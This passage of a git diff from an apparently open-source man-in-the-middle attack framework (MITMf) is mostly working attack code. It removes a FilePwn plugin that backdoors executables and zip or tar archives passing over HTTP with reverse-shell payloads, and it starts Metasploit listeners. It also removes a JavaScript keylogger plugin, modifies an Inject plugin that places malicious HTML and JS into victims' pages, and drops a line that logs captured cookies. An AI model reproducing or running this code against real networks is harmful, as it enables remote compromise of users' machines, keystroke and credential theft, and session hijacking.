Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: - cookie_file.write(str(URLMonitor.getInstance().cookies)) - cookie_file.close() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index b6dd919..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,640 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -import sys -import os -import pefile -import zipfile -import logging -import shutil -import random -import string -import threading -import tarfile -import multiprocessing - -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from core.msfrpc import Msf -from core.utils import shutdown -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -mitmf_logger = logging.getLogger("mitmf") - -class FilePwn(Plugin): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" - tree_info = ["BDFProxy v0.3.2 online"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - self.patched = multiprocessing.Queue() - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - msfversion = Msf().version() - self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - - t = threading.Thread(name='setupMSF', target=self.setupMSF) - t.setDaemon(True) - t.start() - - def setupMSF(self): - msf = Msf() - for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: - cmd = "use exploit/multi/handler\n" - cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) - cmd += "set LHOST {}\n".format(config["HOST"]) - cmd += "set LPORT {}\n".format(config["PORT"]) - cmd += "set ExitOnSession False\n" - cmd += "exploit -j\n" - - pid = msf.findpid('multi/handler') - if pid: - info = msf.jobinfo(pid) - if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']): - msf.killjob(pid) - msf.sendcommand(cmd) - else: - msf.sendcommand(cmd) - else: - msf.sendcommand(cmd) - - def onConfigChange(self): - self.initialize(self.options) - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - self.patched.put(result) - return - - except Exception as e: - print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) - self.patched.put(aTarFileBytes) - return - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) - if patchCount == int(self.userConfig['TAR']['patchCount']): - mitmf_logger.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - self.patched.put(aTarFileBytes) - return - else: - self.patched.put(ret) - return - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) - self.patched.put(aZipFile) - return - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - mitmf_logger.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - mitmf_logger.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - self.patched.put(aZipFile) - return - else: - self.patched.put(tempZipFile) - return - - def serverResponse(self, response, request, data): - - content_header = response.headers['Content-Type'] - client_ip = response.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) - - process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,)) - process.daemon = True - process.start() - #process.join() - bd_zip = self.patched.get() - - if bd_zip: - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip)) - - process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) - process.daemon = True - process.start() - #process.join() - bd_tar = self.patched.get() - - if bd_tar: - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in ['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype)) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) - process.daemon = True - process.start() - #process.join() - patchb = self.patched.get() - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_binary} - - mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index cb9c337..907e2ab 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -18,31 +16,31 @@ # USA # -import logging import time import re import sys import argparse -from core.utils import SystemConfig from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill -mitmf_logger = logging.getLogger("mitmf") - -class Inject(CacheKill, Plugin): +class Inject(Plugin): name = "Inject" optname = "inject" desc = "Inject arbitrary content into HTML content" - version = "0.3" - has_opts = True + version = "0.4" def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.our_ip = SystemConfig.getIP(options.interface) - self.html_src = options.html_url - self.js_src = options.js_url + self.ip = options.ip + + self.html_url = options.html_url + self.html_payload = options.html_payload + self.html_file = options.html_file + self.js_url = options.js_url + self.js_payload = options.js_payload + self.js_file = options.js_file + self.rate_limit = options.rate_limit self.count_limit = options.count_limit self.per_domain = options.per_domain @@ -50,33 +48,47 @@ class Inject(CacheKill, Plugin): self.white_ips = options.white_ips.split(',') self.white_domains = options.white_domains.split(',') self.black_domains = options.black_domains.split(',') - self.match_str = "" or options.match_str - self.html_payload = options.html_payload + self.match_str = options.match_str + self.ctable = {} self.dtable = {} self.count = 0 self.mime = "text/html" - if not options.preserve_cache: - CacheKill.initialize(self, options) - - def serverResponse(self, response, request, data): - #We throttle to only inject once every two seconds per client - #If you have MSF on another host, you may need to check prior to injection - #print "http://" + response.client.getRequestHostname() + response.uri + def response(self, response, request, data): ip, hn, mime = self._get_req_info(response) - if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip): - if (not self.js_src == self.html_src is not None or not self.html_payload == ""): - data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip): + if (not self.js_url == self.html_url is not None or not self.html_payload == ""): + data = self._insert_html(data, post=[(self.match_str, self.get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True self.count += 1 - mitmf_logger.info("{} [{}] Injected malicious html: {}".format(ip, self.name, hn)) + self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo) return {'response': response, 'request':request, 'data': data} - def _get_payload(self): - return self._get_js() + self._get_iframe() + self.html_payload + def get_payload(self): + payload = '' + + if self.html_url is not None: + payload += ''.format(self.html_url) + + if self.html_payload is not None: + payload += self.html_payload + + if self.html_file: + payload += self.html_file.read() + + if self.js_url is not None: + payload += ''.format(self.js_url) + + if self.js_payload is not None: + payload += ''.format(self.js_payload) + + if self.js_file: + payload += ''.format(self.js_file.read()) + + return payload def _ip_filter(self, ip): @@ -134,16 +146,6 @@ class Inject(CacheKill, Plugin): mime = response.headers['Content-Type'] return (ip, hn, mime) - def _get_iframe(self): - if self.html_src is not None: - return '' % (self.html_src) - return '' - - def _get_js(self): - if self.js_src is not None: - return '' % (self.js_src) - return '' - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): ''' To use this function, simply pass a list of tuples of the form: @@ -166,18 +168,20 @@ class Inject(CacheKill, Plugin): return data - def pluginOptions(self, options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") - #options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') - options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") + def options(self, options): + options.add_argument("--js-url", type=str, help="URL of the JS to inject") + options.add_argument('--js-payload', type=str, help='JS string to inject') + options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') + options.add_argument("--html-url", type=str, help="URL of the HTML to inject") + options.add_argument("--html-payload", type=str, help="HTML string to inject") + options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') + options.add_argument("--match-str", type=str, default='', help="String you would like to match and place your payload before. ( by default)") + group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)") - group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)") - group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)") - group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)") + group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index 892cc69..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging -import re -import random -import string - -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class jskeylogger(Inject, Plugin): - name = "JSKeylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - def clientRequest(self, request): - if 'keylog' in request.uri: - request.printPostData = False - - raw_keys = request.postData.split("&&")[0] - input_field = request.postData.split("&&")[1] - - keys = raw_keys.split(",") - if keys: - del keys[0]; del(keys[len(keys)-1]) - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice[:-1] - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n)) - - mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - keylogger = open("./core/javascript/msfkeylogger.js", "r").read() - - return '' diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index 426e00e..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -""" - -Plugin by @rubenthijssen - -""" - -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill -from core.sergioproxy.ProxyPlugins import ProxyPlugins - -mitmf_logger = logging.getLogger("mitmf") - -class Replace(Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - version = "0.2" - has_opts = False - - def initialize(self, options): - self.options = options - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - def serverResponse(self, response, request, data): - ip, hn, mime = self._get_req_info(response) - - if self._should_replace(ip, hn, mime): - - # Did the user provide us with a regex file? - for rulename, regexs in self.config['Replace'].iteritems(): - for regex1,regex2 in regexs.iteritems(): - if re.search(regex1, data): - try: - data = re.sub(regex1, regex2, data) - - mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename)) - except Exception: - mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename)) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'response': response, 'request': request, 'data': data} - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, response): - ip = 